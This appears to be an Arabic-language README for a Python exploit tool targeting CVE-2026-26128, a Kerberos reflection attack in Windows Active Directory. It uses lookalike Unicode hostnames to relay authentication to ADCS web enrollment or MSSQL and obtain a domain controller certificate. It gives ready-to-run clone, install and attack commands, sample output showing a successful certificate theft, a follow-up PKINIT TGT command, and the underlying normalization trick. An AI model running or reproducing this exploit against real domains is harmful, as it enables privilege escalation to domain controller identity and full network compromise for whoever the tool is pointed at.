jarnovandenbrink/cve-2026-26128يستغل انعكاس Kerberos عبر التطبيع الأحادي (Unicode normalization) في Windows Active Directory لإعادة توجيه المصادقة إلى ADCS وMSSQL، مما يتيح تصعيد الامتيازات القائم على الشهادات.
أداة بلغة Python لاستغلال انعكاس Kerberos عبر تطبيع Unicode في Windows Active Directory. استنادًا إلى بحث من Guillaume André / Synacktiv.
هذه الأدوات متوافقة فقط مع Python 3.8+. استنسخ المستودع من GitHub، وقم بتثبيت التبعيات وستكون جاهزًا للانطلاق:
git clone https://github.com/jarnovandenbrink/CVE-2026-26128.git
cd CVE-2026-26128
pip install -r requirements.txt
python3 CVE-2026-26128.py contoso.com/john:password -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10
[*] Connecting to LDAP on 192.168.1.10
[*] LDAP connection established
[*] Adding DNS record: cⓞntoso-dc.contoso.com
[*] Waiting for DNS propagation... 180s
[*] DNS propagation complete
[*] Setting up SMB Server
[*] SMBD: Received connection from 192.168.1.10
[*] HTTP server returned status code 200, treating as a successful login
[*] [+] Attack worked!
[*] Certificate will be written to: /path/to/CONTOSO-DC.pfx
[*] To request a TGT using PKINIT run:
python3 gettgtpkinit.py contoso.com/CONTOSO-DC$ -cert-pfx /path/to/CONTOSO-DC.pfx -dc-ip 192.168.1.10 out.ccache
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./CONTOSO-DC.pfx
[*] Certificate successfully written to file
بدلاً من ذلك، يمكن تنفيذ هذا الهجوم ضد تسجيل الويب ADCS وMSSQL. لاحظ أنه بالنسبة لتتابع Kerberos إلى MSSQL، يجب أن يعمل SQL Server كحساب الجهاز. وإلا فلن يتم فك تشفير AP-REQ بالمفتاح الصحيح.
تستغل هذه الأداة الطريقة التي يطبّع بها Windows أحرف Unicode عند حل SPNs. تستخدم خدمة DnsCache الدالة CompareStringW مع NORM_IGNORECASE، والتي تتعامل مع ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ بشكل مختلف عن srv1.ad.local، مما يتسبب في إصدار طلب DNS. من ناحية أخرى، يستخدم Domain Controller الدالة LCMapStringEx مع علامات التطبيع 0x31403. من خلال تسجيل سجل DNS لاسم المضيف Unicode وتوجيهه إلى جهاز المهاجم، يمكن تتابع AP-REQ إلى أي خدمة لا تفرض ربط القناة أو سلامة الاتصالات.
أهداف التتابع المدعومة هي تسجيل الويب ADCS وMSSQL. دعم SCCM AdminService مخطط له. لاحظ أن تتابع SMB لم يعد ممكنًا على الأنظمة المحدّثة بتحديث Patch Tuesday لشهر مارس 2026.